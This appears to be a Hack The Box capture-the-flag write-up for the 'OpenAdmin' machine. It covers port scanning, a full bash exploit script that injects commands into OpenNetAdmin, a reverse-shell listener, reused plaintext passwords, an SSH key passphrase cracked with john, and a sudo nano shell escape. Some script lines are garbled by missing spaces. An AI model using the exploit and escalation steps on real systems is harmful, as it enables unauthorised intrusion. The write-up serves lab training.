┌──(kali💀kali)-[~]
└─$ sudo nmap -sC -sV -O 10.10.10.171
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
| 256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_ 256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Aggressive OS guesses: Linux 3.2 - 4.9 (96%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 3.16 (94%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 5.1 (93%), Oracle VM Server 3.4.2 (Linux 4.1) (93%), Android 4.1.1 (93%), Linux 3.18 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 50.10 seconds
┌──(kali💀kali)-[~]
└─$ sudo nmap -sU -O 10.10.10.171
All 1000 scanned ports on 10.10.10.171 are in ignored states.
Not shown: 1000 closed udp ports (port-unreach)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: remote management|phone|general purpose|webcam|storage-misc
Running: Avocent embedded, Google Android 2.X, Linux 2.6.X, AXIS embedded, ZyXEL embedded
OS CPE: cpe:/o:google:android:2.2 cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:2.6.17 cpe:/h:axis:210a_network_camera cpe:/h:axis:211_network_camera cpe:/h:zyxel:nsa-210
OS details: Avocent/Cyclades ACS 6000, Android 2.2 (Linux 2.6), Linux 2.6.14 - 2.6.34, Linux 2.6.17, Linux 2.6.17 (Mandriva), Linux 2.6.32, AXIS 210A or 211 Network Camera (Linux 2.6.17), ZyXEL NSA-210 NAS device
Network Distance: 2 hops
OS detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1013.87 seconds
nmap shows two ports open, SSH on 22 and HTTP on 80
EM: Website - TCP 80
The site is just the default Apache page:
http://10.10.10.171/
Apache/2.4.29 (Ubuntu) Server at 10.10.10.171 Port 80
Font scripts
- Font Awesome
- Google Font API
Miscellaneous
- Popper
Web servers
- Apache HTTP Server 2.4.29
Operating systems
- Ubuntu
JavaScript libraries
- Isotope
- AOS
- OWL Carousel
- jQuery Migrate3.0.0
- jQuery 3.3.1
- FancyBox 3.5.6
UI frameworks
- Bootstrap 4.3.1
┌──(kali💀kali)-[~]
└─$ whatweb -a3 http://10.10.10.171/ -v
WhatWeb report for http://10.10.10.171/
Status : 200 OK
Title : Apache2 Ubuntu Default Page: It works
IP : 10.10.10.171
Country : RESERVED, ZZ
Summary : Apache[2.4.29], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)]
Detected Plugins:
[ Apache ]
The Apache HTTP Server Project is an effort to develop and
maintain an open-source HTTP server for modern operating
systems including UNIX and Windows NT. The goal of this
project is to provide a secure, efficient and extensible
server that provides HTTP services in sync with the current
HTTP standards.
Version : 2.4.29 (from HTTP Server Header)
Google Dorks: (3)
Website : http://httpd.apache.org/
[ HTTPServer ]
HTTP server header string. This plugin also attempts to
identify the operating system from the server header.
OS : Ubuntu Linux
String : Apache/2.4.29 (Ubuntu) (from server string)
HTTP Headers:
HTTP/1.1 200 OK
Date: Tue, 30 Jan 2024 01:38:52 GMT
Server: Apache/2.4.29 (Ubuntu)
Last-Modified: Thu, 21 Nov 2019 14:08:45 GMT
ETag: "2aa6-597dbd5dcea8b-gzip"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 3138
Connection: close
Content-Type: text/html
┌──(kali💀kali)-[~]
└─$ nikto -h http://10.10.10.171
+ Server: Apache/2.4.29 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Apache/2.4.29 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch.
+ /: Server may leak inodes via ETags, header found with file /, inode: 2aa6, size: 597dbd5dcea8b, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ OPTIONS: Allowed HTTP Methods: GET, POST, OPTIONS, HEAD .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8047 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time: 2024-01-29 21:36:08 (GMT-5) (3392 seconds)
http://solmusic.com/music/index.html
http://openadmin.htb/
http://10.10.10.171/sierra/
http://solmusic.com/artwork/
http://solmusic.com/artwork/index.html
http://solmusic.com/artwork/contact.html
Address: 34 Street Name, City Name Here, United States
Phone: +1 242 4942 290
Email: info@yourdomain.com
/ona:
Most of the links point back to index.html, or a couple other sides on the page. But the one that really matters is the Login link at the top - it points to http://10.10.10.171/ona (which doesn’t make a whole lot of sense).
There’s a link to this exploit on exploit-db.com. It’s super simple. The script runs an infinite bash loop taking commands and printing the output:
#!/bin/bashURL="${1}"whiletrue;doecho-n"$ "; readcmd curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1
done
I can test it out with just curl. One lesson I learned is that it is important to have the trailing / at the end of the url:
I can see the output of id at the end of the Module Output section. The exploit from the site just adds an echo before and after the command the user runs and then uses sed to cut out the command output and ignore the rest. I could do this myself, but I’ll just get a reverse shell and leave that as an exercise for the motivated reader.
Shell:
Since I want a legit shell, I’ll use curl to push a bash reverse shell:
Heading back to /var/www, there are three directories:
www-data@openadmin:/home$ cd /var/www
www-data@openadmin:/var/www$ ls
html
internal
ona
html has the various sites:
www-data@openadmin:/var/www/html$ ls
artwork
index.html
marga
music
ona
sierra
I hadn’t found the marga one. But it looks like the rest of the dummy sites. internal is owned by jimmy, and I can’t access it:
www-data@openadmin:/var/www$ ls -la
ls -la
total 16
drwxr-xr-x 4 root root 4096 Nov 22 2019 .
drwxr-xr-x 14 root root 4096 Nov 21 2019 ..
drwxr-xr-x 6 www-data www-data 4096 Nov 22 2019 html
drwxrwx--- 2 jimmy internal 4096 Nov 23 2019 internal
lrwxrwxrwx 1 www-data www-data 12 Nov 21 2019 ona -> /opt/ona/www
www-data@openadmin:/var/www$ cd internal/
bash: cd: internal/: Permission denied
Both ona and html/onaare links to /opt/ona/www.
ONA DB:
Since OpenNetAdmin was the only site I found that seemed like it would require any kind of DB connection, went looking in there. Reading the config files, I eventually found
I figured I’d check for password reuse, and it worked for jimmy:
www-data@openadmin:/var/www/html/ona$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@openadmin:/var/www/html/ona$ su jimmy
Password: n1nj4W4rri0R!
jimmy@openadmin:/opt/ona/www$ whoami
jimmy
jimmy@openadmin:/opt/ona/www$ id
uid=1000(jimmy) gid=1000(jimmy) groups=1000(jimmy),1002(internal)
No user.txt in jimmy’s home directory. I suspect I need to pivot to joanna.
Priv Esc: jimmy –> joanna
Enumeration:
As jimmy, I can now access /var/www/internal:
jimmy@openadmin:/var/www/internal$ ls -l
total 24
-rw-rw-r-- 1 jimmy jimmy 341 Jan 17 21:15 headers
-rwxrwxr-x 1 jimmy jimmy 3229 Jan 17 19:44 index_backup.php
-rwxrwxr-x 1 jimmy internal 3094 Jan 17 21:12 index.php
-rwxrwxr-x 1 jimmy internal 185 Nov 23 16:37 logout.php
-rwxrwxr-x 1 jimmy jimmy 339 Jan 17 20:13 main_backup.php
-rwxrwxr-x 1 jimmy internal 339 Jan 17 20:39 main.php
I can do some digging to see if this site is running, and how it’s hosted (different vhost, or path, or port) by looking at the configs in /etc/apache2/sites-enabled:
jimmy@openadmin:/etc/apache2/sites-enabled$ ls
internal.conf openadmin.conf
openadmin.conf shows the site I found, listening on port 80, with root at /var/www/html (comment lines removed):
┌──(kali💀kali)-[~]
└─$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.10.171] 53234
joanna@openadmin:/var/www/internal$ whoami
joanna
joanna@openadmin:/var/www/internal$ id
uid=1001(joanna) gid=1001(joanna) groups=1001(joanna),1002(internal)
joanna@openadmin:/var/www/internal$ ls
exodus.php
index.php
logout.php
main.php
joanna@openadmin:/var/www/internal$ cd ~
joanna@openadmin:/home/joanna$ ls
user.txt
joanna@openadmin:/home/joanna$ cat user.txt
2d9e3e---------------------------
Path 2: Log In and SSH
Log In and Get Key:
The site above required username and password. If I check index.php, I can see the hardcoded username and password in the php source:
┌──(kali💀kali)-[~/Desktop]
└─$ john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
bloodninjas (hash)
┌──(kali💀kali)-[~/Desktop]
└─$ chmod 700 hash
┌──(kali💀kali)-[~/Desktop]
└─$ ssh -i hash joanna@10.10.10.171
Enter passphrase for key 'hash': bloodninjas
Priv: joanna –> root
Enumeration:
Always check sudo on HTB, and it pays off here:
joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH
XUSERFILESEARCHPATH", secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
mail_badpass
User joanna may run the following commands on openadmin:
(ALL) NOPASSWD: /bin/nano /opt/priv
sudo nano:
gtfobins has a page on nano. The path to get shell from sudo is as follows:
sudonano^R^Xreset; sh1>&02>&0
Not that it matters, but /opt/priv is an empty file:
joanna@openadmin:/opt$ ls -la
drwxr-xr-x 3 root root 4096 Jan 4 2020 .
drwxr-xr-x 24 root root 4096 Aug 17 2021 ..
drwxr-x--- 7 www-data www-data 4096 Nov 21 2019 ona
-rw-r--r-- 1 root root 0 Nov 22 2019 priv
joanna@openadmin:/opt$ ls -l priv
-rw-r--r-- 1 root root 0 Nov 22 2019 priv
I’ll run sudo /bin/nano /opt/priv and be dropped into nano:
Now I’ll hit Ctrl+r to read a file, and the menu at the bottom pops up:
Ctrl+x is “Execute Command”. Typing that gives a prompt “Command to execute: “. If I just enter /bin/sh, it will freeze, because the stdin/stdout/stderr are messed up. That’s what the reset; /bin/sh 1>&0 2>&0 fixes. When I run it, the remnants of nano are still there, but there’s a # as a prompt: